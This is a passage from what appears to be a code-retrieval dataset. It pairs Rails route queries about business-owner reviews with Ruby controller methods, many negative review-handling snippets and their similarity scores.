"0.51503813", "0.5119397", "0.5117953", "0.51063937", "0.50897557", "0.5080022", "0.50754285", "0.5071995", "0.5066002", "0.5065478", "0.50638676", "0.5060182", "0.5059427", "0.50502205", "0.5050198", "0.5044851" ]
0.58212316
20
GET /bizowners_reviews GET /bizowners_reviews.json
def index @bizowners_reviews = BizownersReview.all @bizowner = Bizowner.find_by(user_id: current_user.id) @job = Job.where(bizowner_id: @bizowner.id) @all_my_applications= Application.where(job_id: @job.ids) @applications = @all_my_applications.where(status: "Approved") end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n @reviews = reviewable.reviews\n\n respond_to do |format|\n format.html\n format.json { render json: @reviews }\n end\n end", "def reviews( params={} )\n reviews = get_connections(\"reviews\", params)\n return map_connections reviews, :to => Facebook::Graph::Review\n end", "def reviews(params = {})\n data = request(\"/review/list\", params.merge(v: \"2\"))\n reviews = data[\"reviews\"][\"review\"]\n if reviews.present?\n reviews.map { |review| Hashie::Mash.new(review) }\n else\n []\n end\n end", "def set_bizowners_review\n @bizowners_review = BizownersReview.find(params[:id])\n end", "def list_reviews(biz_id, index = 1, limit = 10)\n url = \"#{@@request_url}/Biz.listReviews?appid=#{@@appid}&ID=#{biz_id}&begin=#{index}&limit=#{limit}\"\n data = get_xml(url)\n return [] unless data[\"status\"] == 'ok'\n return data[\"ReviewList\"][0][\"Review\"]\n end", "def my_reviews\n @owner = current_user\n @reviews = Review.find(:all, :conditions => [\"user_id = ?\", @owner.id])\n render :action => \"index\"\n end", "def list\n @reviews = current_user.organization.reviews\n end", "def reviews\n download_reviews\n @reviews.flatten!\n end", "def index\n\t\t@book_reviews = BookReview.find_all_by_user_id(current_user.id)\n\n\t\trespond_to do |format|\n\t\t\tformat.html # index.html.erb\n\t\t\tformat.json { render :json => @book_reviews }\n\t\tend\n\tend", "def reviews(id, review_type='top_critic', page_limit='20', page='1', country='us')\n results = self.class.get(\"/movies/#{id}/reviews.json\", :query => {:review_type => review_type, :page_limit => page_limit, :page => page, :country => country}).parsed_response\n return results\n end", "def index\n @reviews = @place.reviews\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @reviews }\n end\n end", "def index\n author = Author.find(params[:author_id])\n @reviews = author.reviews\n render json: @reviews\n end", "def get_reviews\n @comment_reviews = CommentReview.where('comment_id = ?', params[:comment_id])\n end", "def index\n @reviews = current_user.reviews\n end", "def get_initial_reviews\n\n\t\t# return api call for just one review\n\tend", "def index\n @boo_k_reviews = BooKReview.all\n end", "def index\n @user = User.find(params[:uid])\n @reviews = @reviews.where(user_id: @user.id).where(anonymous: false)\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @reviews }\n end\n end", "def index\n render json: Album.find(params[:album_id]).reviews\n end", "def index\n @reviews = Review.find(params[:burger_place_id])\n\n render json: @reviews\n end", "def review\n fetch('restaurant.review')\n end", "def get_Reviews(clean_isbn)\n\t\t# amazon_reviews = Amazon.new\n\t\t# amazon_reviews.get_amazon_review(clean_isbn)\n\t\tgreads_reviews = Getting_Goodreads_Reviews::Greads.new\n\t\tgreads_reviews.all_greads_reviews(clean_isbn)\nend", "def review(review, options = {})\n get(\"reviews/#{review}\", options).pop\n end", "def index\n @reviews = Review.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @reviews }\n end\n end", "def index\n @reviews = Review.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @reviews }\n end\n end", "def review\n\t@applicants = Applicant.all\n\t\n\trespond_to do |format|\n\tformat.html # review.html.erb\n\tformat.json { render json: @applicants }\n\tend\n\tend", "def index\n @reviews = Review.all\n end", "def index\n @reviews = Review.all\n end", "def index\n @reviews = Review.all\n end", "def index\n @reviews = Review.all\n end", "def index\n @reviews = Review.all\n end", "def index\n @reviews = Review.all\n end", "def index\n @reviews = Review.all\n end", "def index\n @reviews = Review.all\n end", "def index\n @reviews = Review.all\n end", "def index\n @reviews = Review.all\n end", "def index\n @reviews = Review.all\n end", "def index\n @reviews = Review.all\n end", "def index\n @visitor_reviews = VisitorReview.all\n end", "def index\n @reviews = Review.all\n \n end", "def index\n\t\t\t\t# @reviews = Driver.find_by!(id: params[:driver_id]).driver_reviews#.order('created_at DESC').to_a\n\t\t\t\t@reviews = DriverReview.where(driver_id: params[:driver_id])\n\t\t\tend", "def reviews\n @reviews\n end", "def find_reviews(brewery)\n brewery.reviews\n end", "def reviews\n reviews = []\n katas = Kata.all\n katas.each { |k| reviews += k.reviews.where(user_id: self.id) }\n return reviews\n end", "def index\n reviews = Review.all\n render json: reviews\n end", "def index\n reviews = Review.all\n render json: reviews\n end", "def get_reviews(reviews)\n all_revs = reviews.map do |r|\n {\n status: r.state,\n reviewer: r.author.login,\n date: get_yyyymmdd_hhnnss(r.updated_at),\n age: age(r.updated_at)\n }\n end\n revs_by_person = all_revs.group_by { |r| r[:reviewer] }.values\n latest_revs = revs_by_person.map do |persons_reviews|\n persons_reviews.sort { |a, b| a[:date] <=> b[:date] }[-1]\n end\n \n # if (latest_revs.size() != all_revs.size) then\n # puts '------- CONDENSING to latest -------'\n # puts \"ALL:\\n#{all_revs}\"\n # puts \"LATEST:\\n#{latest_revs}\"\n # end\n \n latest_revs\n end", "def index\n @company_reviews = CompanyReview.all\n end", "def index\n @reviews = @post.reviews.all\n respond_with @post, @reviews\n end", "def load_reviews\n response = RestClient.get \"https://developers.zomato.com/api/v2.1/reviews?res_id=#{self.zomato_restaurant_id}\", accept: :json, 'user-key' => Rails.application.config.zomato_key\n if response.code == 200\n if response && response.length >= 2\n response = JSON.parse(response)\n response['user_reviews'].each do |review|\n new_review = Review.new\n new_review.review_rating = review['review']['rating']\n new_review.review_text = review['review']['review_text']\n new_review.rating_color = review['review']['rating_color']\n new_review.rating_text = review['review']['rating_text']\n new_review.review_time_stamp = Time.at(review['review']['timestamp'].to_i).to_time.to_i\n new_review.likes = review['review']['likes']\n new_review.author_name = review['review']['user']['name']\n new_review.author_foodie_level = review['review']['user']['foodie_level']\n new_review.user_image = review['review']['user']['profile_image']\n new_review.comments_count = review['review']['comments_count']\n new_review.restaurant_id = self.zomato_restaurant_id\n new_review.save\n end\n end\n end\n end", "def index\n\t\t@reviews = @movie.reviews\n\tend", "def show\n @user = User.find(params[:id])\n @reviews = @user.reviews.paginate(:page => params[:page])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user }\n end\n end", "def index\n @user_reviews = UserReview.find(:all)\n @user = get_user\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @user_reviews }\n end\n end", "def user_reviews\n list_of_reviews = self.reviews\n list_of_reviews.map{|review| \"User: #{review.user.name}, Rating: #{review.rating}, Review: #{review.description}\"}\n end", "def index\n @critic_reviews = CriticReview.all\n end", "def index\n @reviews = Employee.where(reviewed: nil)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @reviews }\n end\n end", "def index\n @item_reviews = ItemReview.all\n end", "def index\n @item_reviews = ItemReview.all\n end", "def pending\n @reviews = current_user.written_reviews.pending\n render json: @reviews\n end", "def index\n @reviews = Review.order(:place_id)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @reviews }\n end\n end", "def fetch_reviews(software_id, store, pageNumber=0, *previous)\n reviews = []\n\n # If passed a list of reviews then use that an add any new ones to it\n if previous.length > 0\n reviews = previous[0]\n end\n\n # TODO: parameterize type=Purple+Software\n # TODO: parameterize sortOrdering\n # Valid sortOrdering options are:\n # 0/1 = Most Helpful\n # 2 = Most Favorable\n # 3 = Most Critical\n # 4 = Most Recent\n cmd = sprintf(%{curl -s -A \"iTunes/9.2 (Macintosh; U; Mac OS X 10.6\" -H \"X-Apple-Store-Front: %s-1\" } <<\n %{'https://itunes.apple.com/WebObjects/MZStore.woa/wa/viewContentsUserReviews?} <<\n %{sortOrdering=1&type=Purple+Software&mt=8&id=%s&pageNumber=%s' | xmllint --format --recover - 2>/dev/null},\n store[:id],\n software_id,\n pageNumber)\n\n rawxml = `#{cmd}`\n\n\n if defined?(DEBUG) && DEBUG_SAVE_SOURCE_XML == true\n open(\"appreview.#{software_id}.#{store[:id]}.#{pageNumber}.xml\", 'w') { |f| f.write(rawxml) }\n end\n\n doc = Hpricot.XML(rawxml)\n\n # Get current page nr\n currentPage = getCurrentPage(doc)\n # Get total number of pages\n numberOfPages = getNumberOfPages(doc)\n\n doc.search(\"Document > View > ScrollView > VBoxView > View > MatrixView > VBoxView:nth(0) > VBoxView > VBoxView\").each do |e|\n review = {}\n\n strings = (e/:SetFontStyle)\n meta = strings[2].inner_text.split(/\\n/).map { |x| x.strip }\n\n # Note: Translate is sensitive to spaces around punctuation, so we make sure br's connote space.\n review[:rating] = e.inner_html.match(/alt=\"(\\d+) star(s?)\"/)[1].to_i\n review[:author] = meta[3]\n review[:version] = meta[7][/Version (.*)/, 1] unless meta[7].nil?\n review[:date] = meta[10]\n review[:subject] = strings[0].inner_text.strip\n review[:body] = strings[3].inner_html.gsub(\"<br />\", \"\\n\").strip\n\n reviews << review\n end\n\n # If there are more review pages to go, then go fetch and parse the next one, if not then return the list\n if (pageNumber + 1) < numberOfPages\n fetch_reviews(software_id, store, pageNumber + 1, reviews)\n else\n return reviews\n end\nend", "def show\n @review = @place.reviews.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @review }\n end\n end", "def index\n @employee_reviews = EmployeeReview.all\n end", "def index\n logger.ap params\n if params.has_key? 'search_term' and params[:search_term] and !params[:search_term].blank?\n @reviews = Review.basic_search(params[:search_term]).page(params[:page]).per(params[:per_page])\n else\n @reviews = Review.page(params[:page]).per(params[:per_page])\n end\n logger.ap @reviews.length\n render json: @reviews\n end", "def index\n @q = @ci_reviews.search params[:q]\n @ci_reviews = @q.result.page(params[:page])\n end", "def openstruct_reviews\r\n @shop.reviews\r\n end", "def index\n @reviews = Review.all\n @review = Review.new(review: params[:review][:review], my_book_id: params[:my_book_id])\n end", "def index\n @shop_reviews = ShopReview.all\n end", "def searchReviews(isbn = '', title = '', author = '')\n url = \"https://api.nytimes.com/svc/books/v3/reviews.json\"\n params = {\n author: author,\n title: title,\n isbn: isbn\n }\n self.request(url, params)\n end", "def index\n @restaurant_reviews = RestaurantReview.all\n end", "def review\n @users = User.all\n @review = Review.new\n end", "def show\n @owner_id = @product.originaluser_id \n # @reviews = Review.where('owner_id = ?', @owner_id)\n @reviews = Review.where('owner_id = ?', @owner_id).where('reviews.approved = ?', true)\n \n # Review.joins(:user).where('reviews.approved = ?', true).where('users.id = ?', @owner_id)\n end", "def welcome\n @reviews = Review.all\n render json: @reviews\n end", "def index\n @hm_reviews = HmReview.all\n end", "def index\n @reviews = @publication.reviews.all\n end", "def reviews(company_id)\n list_reviews = []\n if persisted?\n list_reviews = Comment.for_places(self, company_id).limit(5).all\n end\n list_reviews += spot.reviews if spot && list_reviews.length < 5\n list_reviews.slice(0, 5)\n end", "def myReviews\n @token = request.headers[:token]\n @user = Usuario.find_by_token(@token) \n @result = Array.new\n @reviews= Review.order('id') \n @reviews.each do |p|\n if p.usuario_id == @user.id\n @result.push(p)\n end\n end\n respond_with @result , location: nil \n end", "def show\n @item = Item.find(params[:id])\n @reviews = @item.reviews\n end", "def index\n\t\t@shop = Shop.find(params[:shop_id])\n\t\t@reviews = @shop.reviews\n\tend", "def index\n @user_reviews = UserReview.all.order(:rate_period).page(params[:page])\n end", "def index\n @product_reviews = ProductReview.all\n end", "def download_reviews\n (1..1/0.0).map do |page|\n @reviews << download_page(page)\n break if @reviews.last.empty?\n end\n end", "def reviews_as_owner\n Review.where(:product_id => product_ids)\n end", "def show\n compile_reviews(@gamer.id)\n scores = Gamer.compute_ratings(@reviews)\n Gamer.compute_overall_rating(scores)\n update_scores(scores, @gamer)\n render json: {gamer: @gamer, reviews: @reviews}\n end", "def index\r\n if params[:review_id].nil?\r\n @comments = Comment.all\r\n else\r\n @review = Review.find(params[:review_id])\r\n @comments = @review.comments\r\n end\r\n\r\n respond_to do |format|\r\n format.html\r\n format.xml { render :xml => @comments }\r\n end\r\n end", "def index\n @reviews = Review.find(:all, :limit => 10, :include => [:user, :package])\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @review }\n end\n end", "def index\n @food_reviews = FoodReview.all\n end", "def index\n\t\tparams[:search] ? @reviews=Review.search(params[:search]) : @reviews= Review.where(\"user_id = ?\", current_user.id)\n\t\t@reviews = @reviews.order(:heading).paginate(page: params[:page], per_page: 18)\n\t\trespond_to do |format|\n\t\t\tformat.html # index.html.erb\n\t\t\tformat.json { render json: @reviews }\n\t\t\tformat.js\n\t\tend \n\tend", "def index\n\t\t@store_reviews = @store.store_reviews;\t\t\n\tend", "def index\n @evenreviews = Evenreview.all\n end", "def index\n @reviews = Review.includes(:user).limit(5)\n end", "def index\n @reviews_and_ratings = ReviewsAndRating.all\n end", "def index\n # this is our list page for our review\n # variable is @.\n # creating a filter variable for price\n @price = params[:price]\n #creating a filter variable for cuisine\n @cuisine = params[:cuisine]\n # adding location filter using geocoder\n @location = params[:location]\n\n #filtering properly by get all the reviews \"Review\" model from the database\n #creating new review variable as ruby list[]\n #@reviews = [\"The Smile\", \"Baby Bo's\", \"Chipotle\", \"nandos\"]\n @reviews = Review.all\n\n # filtering by price. this will toggle on/off depend when it has filter\n if @price.present?\n #take all of the review we have and replace the original review with filtered ones\n # find the value of the price in db that matches the param above\n @reviews = @reviews.where(price: @price)\n end\n\n #filter by cuisine\n if @cuisine.present?\n @reviews = @reviews.where(cuisine: @cuisine)\n end\n #search near the location\n if @location.present?\n # .near is what geo lcation given to us - see docs\n @reviews = @reviews.near(@location)\n end\n\n end", "def page_reviews(doc)\n # reviews = doc.css(\"table#productReviews tr td > div\")\n reviews = doc.css('.review')\n puts \"THERE ARE #{reviews.count} REVIEWS ON THIS PAGE\"\n reviews\n end", "def widget_reviews_list\n @snapshot = Snapshot.find(params[:snapshot_id])\n unless @snapshot && has_role?(:user, @snapshot)\n render :text => \"<b>Cannot access the reviews of this project</b>: access denied.\"\n return\n end\n\n @dashboard_configuration=Api::DashboardConfiguration.new(nil, :period_index => params[:period], :snapshot => @snapshot)\n render :partial => 'project/widgets/reviews/reviews_list'\n end", "def index\n @admin_reviews = Review.all\n end", "def show\n @user = current_user\n @review = Review.joins(:movie).includes(:movie)\n .find_by_id(params[:id])\n\n @comments = @review.review_comments.map do |comment|\n if @user != nil\n belongs_to_user = @user.id == comment.user_id\n else\n belongs_to_user = false\n end\n {\n id: comment.id,\n body: comment.body,\n author: comment.user.nickname,\n author_image: comment.user.image,\n belongs_to_user: belongs_to_user\n }\n end\n if @user != nil\n @review_likes = ReviewLike.where(\"user_id = ? AND review_id = ?\", @user.id, @review.id)\n if @review_likes.empty?\n review_like_id = 'null'\n review_liked = false\n else\n review_like_id = @review_likes[0].id\n review_liked = true\n end\n else\n review_like_id = 'null'\n review_liked = 'null'\n end\n\n review = {\n title: @review.title,\n id: @review.id,\n likes: @review.likes,\n body: @review.body,\n genre: @review.genre,\n movie: @review.movie,\n belongs_to_user: @review.user == @user,\n review_like_id: review_like_id,\n review_liked: review_liked\n }\n render json: {review: review, comments: @comments}\n end", "def index\n @reviews = @story.reviews\n end", "def get_reviews(proposal_id)\n\t\treturn Review.find_all_by_proposal_id(proposal_id)\n\tend", "def reviewed_books\n self.reviews.map{|r| r.book}\n end", "def user_review(user_id, book_id, params = {})\n data = request('/review/show_by_user_and_book.xml', params.merge(v: \"2\", user_id: user_id, book_id: book_id))\n Hashie::Mash.new(data[\"review\"])\n end", "def show\n @reviews = Review.where(user_id: @user.id).includes(:spot)\n end" ]
[ "0.7248041", "0.7162103", "0.71511555", "0.7151134", "0.7071401", "0.70493513", "0.70466256", "0.7005954", "0.6984975", "0.694246", "0.69333225", "0.6915938", "0.6875688", "0.6856291", "0.6843426", "0.6829027", "0.6812107", "0.67721426", "0.6750895", "0.67148155", "0.6696975", "0.6696551", "0.66784084", "0.66784084", "0.6632124", "0.66308075", "0.66308075", "0.66308075", "0.66308075", "0.66308075", "0.66308075", "0.66308075", "0.66308075", "0.66308075", "0.66308075", "0.66308075", "0.66308075", "0.6621296", "0.66038793", "0.6578651", "0.6562497", "0.65594566", "0.6537366", "0.65357715", "0.65357715", "0.6527729", "0.6506611", "0.6488648", "0.6482451", "0.6473979", "0.64706445", "0.6463981", "0.6452014", "0.64502007", "0.6439387", "0.6438558", "0.6438558", "0.6414273", "0.64103174", "0.63722944", "0.6365541", "0.6364913", "0.63635445", "0.63482803", "0.63482344", "0.6343202", "0.6326451", "0.62888265", "0.6282723", "0.62803936", "0.62775236", "0.6275024", "0.6272383", "0.6272058", "0.62702674", "0.62650895", "0.6264568", "0.62561584", "0.6220475", "0.621602", "0.62139815", "0.62112975", "0.62064064", "0.62023354", "0.61924106", "0.619013", "0.6189721", "0.61875194", "0.61712253", "0.61343074", "0.6129165", "0.61109746", "0.6103845", "0.6102299", "0.61002344", "0.6094768", "0.60912585", "0.6090026", "0.6086153", "0.6084677", "0.60845125" ]
0.0
-1
GET /bizowners_reviews/1 GET /bizowners_reviews/1.json
def show end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n @reviews = reviewable.reviews\n\n respond_to do |format|\n format.html\n format.json { render json: @reviews }\n end\n end", "def list_reviews(biz_id, index = 1, limit = 10)\n url = \"#{@@request_url}/Biz.listReviews?appid=#{@@appid}&ID=#{biz_id}&begin=#{index}&limit=#{limit}\"\n data = get_xml(url)\n return [] unless data[\"status\"] == 'ok'\n return data[\"ReviewList\"][0][\"Review\"]\n end", "def set_bizowners_review\n @bizowners_review = BizownersReview.find(params[:id])\n end", "def get_initial_reviews\n\n\t\t# return api call for just one review\n\tend", "def reviews(params = {})\n data = request(\"/review/list\", params.merge(v: \"2\"))\n reviews = data[\"reviews\"][\"review\"]\n if reviews.present?\n reviews.map { |review| Hashie::Mash.new(review) }\n else\n []\n end\n end", "def index\n @reviews = @place.reviews\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @reviews }\n end\n end", "def index\n author = Author.find(params[:author_id])\n @reviews = author.reviews\n render json: @reviews\n end", "def index\n render json: Album.find(params[:album_id]).reviews\n end", "def reviews(id, review_type='top_critic', page_limit='20', page='1', country='us')\n results = self.class.get(\"/movies/#{id}/reviews.json\", :query => {:review_type => review_type, :page_limit => page_limit, :page => page, :country => country}).parsed_response\n return results\n end", "def index\n\t\t@book_reviews = BookReview.find_all_by_user_id(current_user.id)\n\n\t\trespond_to do |format|\n\t\t\tformat.html # index.html.erb\n\t\t\tformat.json { render :json => @book_reviews }\n\t\tend\n\tend", "def reviews( params={} )\n reviews = get_connections(\"reviews\", params)\n return map_connections reviews, :to => Facebook::Graph::Review\n end", "def my_reviews\n @owner = current_user\n @reviews = Review.find(:all, :conditions => [\"user_id = ?\", @owner.id])\n render :action => \"index\"\n end", "def get_reviews\n @comment_reviews = CommentReview.where('comment_id = ?', params[:comment_id])\n end", "def reviews\n download_reviews\n @reviews.flatten!\n end", "def index\n @reviews = Review.find(params[:burger_place_id])\n\n render json: @reviews\n end", "def index\n @reviews = Review.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @reviews }\n end\n end", "def index\n @reviews = Review.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @reviews }\n end\n end", "def list\n @reviews = current_user.organization.reviews\n end", "def index\n @user = User.find(params[:uid])\n @reviews = @reviews.where(user_id: @user.id).where(anonymous: false)\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @reviews }\n end\n end", "def index\n @boo_k_reviews = BooKReview.all\n end", "def load_reviews\n response = RestClient.get \"https://developers.zomato.com/api/v2.1/reviews?res_id=#{self.zomato_restaurant_id}\", accept: :json, 'user-key' => Rails.application.config.zomato_key\n if response.code == 200\n if response && response.length >= 2\n response = JSON.parse(response)\n response['user_reviews'].each do |review|\n new_review = Review.new\n new_review.review_rating = review['review']['rating']\n new_review.review_text = review['review']['review_text']\n new_review.rating_color = review['review']['rating_color']\n new_review.rating_text = review['review']['rating_text']\n new_review.review_time_stamp = Time.at(review['review']['timestamp'].to_i).to_time.to_i\n new_review.likes = review['review']['likes']\n new_review.author_name = review['review']['user']['name']\n new_review.author_foodie_level = review['review']['user']['foodie_level']\n new_review.user_image = review['review']['user']['profile_image']\n new_review.comments_count = review['review']['comments_count']\n new_review.restaurant_id = self.zomato_restaurant_id\n new_review.save\n end\n end\n end\n end", "def index\n reviews = Review.all\n render json: reviews\n end", "def index\n reviews = Review.all\n render json: reviews\n end", "def review\n\t@applicants = Applicant.all\n\t\n\trespond_to do |format|\n\tformat.html # review.html.erb\n\tformat.json { render json: @applicants }\n\tend\n\tend", "def review\n fetch('restaurant.review')\n end", "def index\n @reviews = current_user.reviews\n end", "def review(review, options = {})\n get(\"reviews/#{review}\", options).pop\n end", "def get_Reviews(clean_isbn)\n\t\t# amazon_reviews = Amazon.new\n\t\t# amazon_reviews.get_amazon_review(clean_isbn)\n\t\tgreads_reviews = Getting_Goodreads_Reviews::Greads.new\n\t\tgreads_reviews.all_greads_reviews(clean_isbn)\nend", "def index\n @reviews = Review.all\n end", "def index\n @reviews = Review.all\n end", "def index\n @reviews = Review.all\n end", "def index\n @reviews = Review.all\n end", "def index\n @reviews = Review.all\n end", "def index\n @reviews = Review.all\n end", "def index\n @reviews = Review.all\n end", "def index\n @reviews = Review.all\n end", "def index\n @reviews = Review.all\n end", "def index\n @reviews = Review.all\n end", "def index\n @reviews = Review.all\n end", "def index\n @reviews = Review.all\n end", "def index\n @reviews = Review.all\n \n end", "def reviews\n @reviews\n end", "def show\n @user = User.find(params[:id])\n @reviews = @user.reviews.paginate(:page => params[:page])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user }\n end\n end", "def find_reviews(brewery)\n brewery.reviews\n end", "def show\n @review = @place.reviews.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @review }\n end\n end", "def index\n @visitor_reviews = VisitorReview.all\n end", "def index\n @reviews = @post.reviews.all\n respond_with @post, @reviews\n end", "def index\n @reviews = Review.order(:place_id)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @reviews }\n end\n end", "def index\n\t\t\t\t# @reviews = Driver.find_by!(id: params[:driver_id]).driver_reviews#.order('created_at DESC').to_a\n\t\t\t\t@reviews = DriverReview.where(driver_id: params[:driver_id])\n\t\t\tend", "def index\n @reviews = Employee.where(reviewed: nil)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @reviews }\n end\n end", "def pending\n @reviews = current_user.written_reviews.pending\n render json: @reviews\n end", "def index\n @item_reviews = ItemReview.all\n end", "def index\n @item_reviews = ItemReview.all\n end", "def index\n @company_reviews = CompanyReview.all\n end", "def index\n @user_reviews = UserReview.find(:all)\n @user = get_user\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @user_reviews }\n end\n end", "def fetch_reviews(software_id, store, pageNumber=0, *previous)\n reviews = []\n\n # If passed a list of reviews then use that an add any new ones to it\n if previous.length > 0\n reviews = previous[0]\n end\n\n # TODO: parameterize type=Purple+Software\n # TODO: parameterize sortOrdering\n # Valid sortOrdering options are:\n # 0/1 = Most Helpful\n # 2 = Most Favorable\n # 3 = Most Critical\n # 4 = Most Recent\n cmd = sprintf(%{curl -s -A \"iTunes/9.2 (Macintosh; U; Mac OS X 10.6\" -H \"X-Apple-Store-Front: %s-1\" } <<\n %{'https://itunes.apple.com/WebObjects/MZStore.woa/wa/viewContentsUserReviews?} <<\n %{sortOrdering=1&type=Purple+Software&mt=8&id=%s&pageNumber=%s' | xmllint --format --recover - 2>/dev/null},\n store[:id],\n software_id,\n pageNumber)\n\n rawxml = `#{cmd}`\n\n\n if defined?(DEBUG) && DEBUG_SAVE_SOURCE_XML == true\n open(\"appreview.#{software_id}.#{store[:id]}.#{pageNumber}.xml\", 'w') { |f| f.write(rawxml) }\n end\n\n doc = Hpricot.XML(rawxml)\n\n # Get current page nr\n currentPage = getCurrentPage(doc)\n # Get total number of pages\n numberOfPages = getNumberOfPages(doc)\n\n doc.search(\"Document > View > ScrollView > VBoxView > View > MatrixView > VBoxView:nth(0) > VBoxView > VBoxView\").each do |e|\n review = {}\n\n strings = (e/:SetFontStyle)\n meta = strings[2].inner_text.split(/\\n/).map { |x| x.strip }\n\n # Note: Translate is sensitive to spaces around punctuation, so we make sure br's connote space.\n review[:rating] = e.inner_html.match(/alt=\"(\\d+) star(s?)\"/)[1].to_i\n review[:author] = meta[3]\n review[:version] = meta[7][/Version (.*)/, 1] unless meta[7].nil?\n review[:date] = meta[10]\n review[:subject] = strings[0].inner_text.strip\n review[:body] = strings[3].inner_html.gsub(\"<br />\", \"\\n\").strip\n\n reviews << review\n end\n\n # If there are more review pages to go, then go fetch and parse the next one, if not then return the list\n if (pageNumber + 1) < numberOfPages\n fetch_reviews(software_id, store, pageNumber + 1, reviews)\n else\n return reviews\n end\nend", "def index\n @reviews = Review.all\n @review = Review.new(review: params[:review][:review], my_book_id: params[:my_book_id])\n end", "def reviews\n reviews = []\n katas = Kata.all\n katas.each { |k| reviews += k.reviews.where(user_id: self.id) }\n return reviews\n end", "def myReviews\n @token = request.headers[:token]\n @user = Usuario.find_by_token(@token) \n @result = Array.new\n @reviews= Review.order('id') \n @reviews.each do |p|\n if p.usuario_id == @user.id\n @result.push(p)\n end\n end\n respond_with @result , location: nil \n end", "def index\n @critic_reviews = CriticReview.all\n end", "def index\n @q = @ci_reviews.search params[:q]\n @ci_reviews = @q.result.page(params[:page])\n end", "def index\n\t\t@reviews = @movie.reviews\n\tend", "def welcome\n @reviews = Review.all\n render json: @reviews\n end", "def show\n @item = Item.find(params[:id])\n @reviews = @item.reviews\n end", "def index\n logger.ap params\n if params.has_key? 'search_term' and params[:search_term] and !params[:search_term].blank?\n @reviews = Review.basic_search(params[:search_term]).page(params[:page]).per(params[:per_page])\n else\n @reviews = Review.page(params[:page]).per(params[:per_page])\n end\n logger.ap @reviews.length\n render json: @reviews\n end", "def get_reviews(reviews)\n all_revs = reviews.map do |r|\n {\n status: r.state,\n reviewer: r.author.login,\n date: get_yyyymmdd_hhnnss(r.updated_at),\n age: age(r.updated_at)\n }\n end\n revs_by_person = all_revs.group_by { |r| r[:reviewer] }.values\n latest_revs = revs_by_person.map do |persons_reviews|\n persons_reviews.sort { |a, b| a[:date] <=> b[:date] }[-1]\n end\n \n # if (latest_revs.size() != all_revs.size) then\n # puts '------- CONDENSING to latest -------'\n # puts \"ALL:\\n#{all_revs}\"\n # puts \"LATEST:\\n#{latest_revs}\"\n # end\n \n latest_revs\n end", "def show\n @book_review = BookReview.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @book_review }\n end\n end", "def show\n @review = Review.find(params[:id])\n render json: @review\n end", "def index\n @employee_reviews = EmployeeReview.all\n end", "def index\n @hm_reviews = HmReview.all\n end", "def openstruct_reviews\r\n @shop.reviews\r\n end", "def show\n compile_reviews(@gamer.id)\n scores = Gamer.compute_ratings(@reviews)\n Gamer.compute_overall_rating(scores)\n update_scores(scores, @gamer)\n render json: {gamer: @gamer, reviews: @reviews}\n end", "def show\n @owner_id = @product.originaluser_id \n # @reviews = Review.where('owner_id = ?', @owner_id)\n @reviews = Review.where('owner_id = ?', @owner_id).where('reviews.approved = ?', true)\n \n # Review.joins(:user).where('reviews.approved = ?', true).where('users.id = ?', @owner_id)\n end", "def user_reviews\n list_of_reviews = self.reviews\n list_of_reviews.map{|review| \"User: #{review.user.name}, Rating: #{review.rating}, Review: #{review.description}\"}\n end", "def index\n @shop_reviews = ShopReview.all\n end", "def index\n @restaurant_reviews = RestaurantReview.all\n end", "def index\n render_json content: Review.all\n end", "def index\r\n if params[:review_id].nil?\r\n @comments = Comment.all\r\n else\r\n @review = Review.find(params[:review_id])\r\n @comments = @review.comments\r\n end\r\n\r\n respond_to do |format|\r\n format.html\r\n format.xml { render :xml => @comments }\r\n end\r\n end", "def index\n @reviews = Review.find(:all, :limit => 10, :include => [:user, :package])\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @review }\n end\n end", "def index\n @product_reviews = ProductReview.all\n end", "def show\n @user = current_user\n @review = Review.joins(:movie).includes(:movie)\n .find_by_id(params[:id])\n\n @comments = @review.review_comments.map do |comment|\n if @user != nil\n belongs_to_user = @user.id == comment.user_id\n else\n belongs_to_user = false\n end\n {\n id: comment.id,\n body: comment.body,\n author: comment.user.nickname,\n author_image: comment.user.image,\n belongs_to_user: belongs_to_user\n }\n end\n if @user != nil\n @review_likes = ReviewLike.where(\"user_id = ? AND review_id = ?\", @user.id, @review.id)\n if @review_likes.empty?\n review_like_id = 'null'\n review_liked = false\n else\n review_like_id = @review_likes[0].id\n review_liked = true\n end\n else\n review_like_id = 'null'\n review_liked = 'null'\n end\n\n review = {\n title: @review.title,\n id: @review.id,\n likes: @review.likes,\n body: @review.body,\n genre: @review.genre,\n movie: @review.movie,\n belongs_to_user: @review.user == @user,\n review_like_id: review_like_id,\n review_liked: review_liked\n }\n render json: {review: review, comments: @comments}\n end", "def review\n @users = User.all\n @review = Review.new\n end", "def show\n render json: @review\n end", "def show\n render json: @review\n end", "def show\n render json: @review\n end", "def show\n @wifi = Wifi.find(params[:id])\n @reviews = @wifi.reviews\n\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @wifi }\n end\n end", "def index\n @reviews = Review.find params[:id]\n\n @user = User.find(params[user:id])\n @review = Review.new\n end", "def searchReviews(isbn = '', title = '', author = '')\n url = \"https://api.nytimes.com/svc/books/v3/reviews.json\"\n params = {\n author: author,\n title: title,\n isbn: 